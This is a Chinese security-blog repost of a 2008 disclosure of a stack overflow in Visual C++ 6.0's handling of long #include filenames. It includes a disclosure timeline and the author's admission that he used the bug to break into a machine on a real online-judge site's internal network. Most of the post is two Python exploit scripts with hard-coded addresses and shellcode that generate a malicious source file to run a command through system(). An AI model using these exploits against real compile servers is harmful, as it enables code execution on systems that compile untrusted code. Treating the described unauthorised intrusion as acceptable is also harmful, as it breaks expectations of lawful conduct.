vc6.0栈溢出 's

admin 2017年4月17日02:27:59评论383 views字数 2022阅读6分44秒阅读模式
摘要

来源:幻影maillist憋了半年了。
问题处在include的文件名长度未检测。
比如
#include “AAAA….AA”(超多A)
就会挂。

来源:幻影maillist

憋了半年了。
问题处在include的文件名长度未检测。
比如
#include “AAAA….AA”(超多A)
就会挂。

<=2008-2-17 发现漏洞。
2008-3-3 报告给MS,当天收到答复,说正在研究中。
2008-3-4 MS确认这是一个安全缺陷,但说Visual C++ 6.0的产品支持生命周期已经于2005年9月30日结束,因此不会为这个漏
洞发布安全公告或安全建议,且建议我不要公开。

我差点利用这个漏洞黑了poj(acm.pku.edu.cn,做acm的同学应该都知道这个网站)。
可惜功亏一篑,只得到了一台没有价值的内网机器,最后和管理员摊牌了。
既然现在poj已经把vc6.0换成了vs2008,那我就没有继续憋着的理由了哈哈。

下面给出两个不同的vc6.0 sp6的exp,其他的sp可能偏移不一样,自己调试吧。

vc6_exp.py
######################################################################
#!/usr/bin/env python
# vc6 exploit by cly
# 2008-2-17
import struct

address_jmp_esp = 0x1065AEB3
address_system = 0x77BF93C7
address_exit = 0x77C09E7E
filename = ‘e.c’
cmd = ‘calc’

f = open(filename, ‘wb’)
f.write(‘#include “c://A’ + cmd + ‘||’ + ‘A’ * (146 – len(cmd))
+ struct.pack(‘<i’, address_jmp_esp)
+ ‘/x83/xEC/x33/x83/xEC/x65/x8B/xC4/x83/xEC
/x04/x89/x04/x24/xE8’
+ struct.pack(‘<i’, address_system – 0x0012F0AF) + ‘/xE8’
+ struct.pack(‘<i’, address_exit – 0x0012F0B4) + ‘A’ * 84 +
‘”‘)
f.close()
######################################################################

vc6_exp2.py
######################################################################
#!/usr/bin/env python
# vc6 exploit by cly
# 2008-2-17
import struct

filename = ‘e.c’
cmd = ‘calc’

address_data = 0x1066EFFB

shellcode = ‘/x32/xC0’ # xor al, al
shellcode += ‘/xA2/x9E/xF0/x66/x10’ # mov [1066F09E], al
shellcode += ‘/xA2/xA5/xF0/x66/x10’ # mov [1066F0A5], al
shellcode += ‘/x68/x94/xf0/x66/x10’ # push 1066F094 ; ASCII
“msvcrt.dll”
shellcode += ‘/xFF/x15/xD8/x31/x65/x10’ # call [106531D8] ;
kernel32.GetModuleHandleA
shellcode += ‘/x68/x9F/xF0/x66/x10’ # push 1066F09F ; ASCII
“system”
shellcode += ‘/x50’ # push eax
shellcode += ‘/xFF/x15/xDC/x31/x65/x10’ # call [106531DC] ;
kernel32.GetProcAddress
shellcode += ‘/x68/xA6/xF0/x66/x10’ # push 1066F0A6 ; ASCII
cmd
shellcode += ‘/xFF/xD0’ # call eax
shellcode += ‘/x32/xC0’ # xor al, al
shellcode += ‘/x50’ # push eax
shellcode += ‘/xFF/x15/xB8/x31/x65/x10’ # call [106531B8] ;
kernel32.ExitProcess

f = open(filename, ‘wb’)
f.write(‘#include “c://’ + shellcode + ‘A’ * (149 – len(shellcode))
+ struct.pack(‘<i’, address_data) + ‘msvcrt.dllAsystemA’
+ cmd + ‘ ‘ * (90 – len(cmd)) + ‘”‘)
f.close()
######################################################################

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月17日02:27:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vc6.0栈溢出 'shttps://cn-sec.com/archives/45149.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息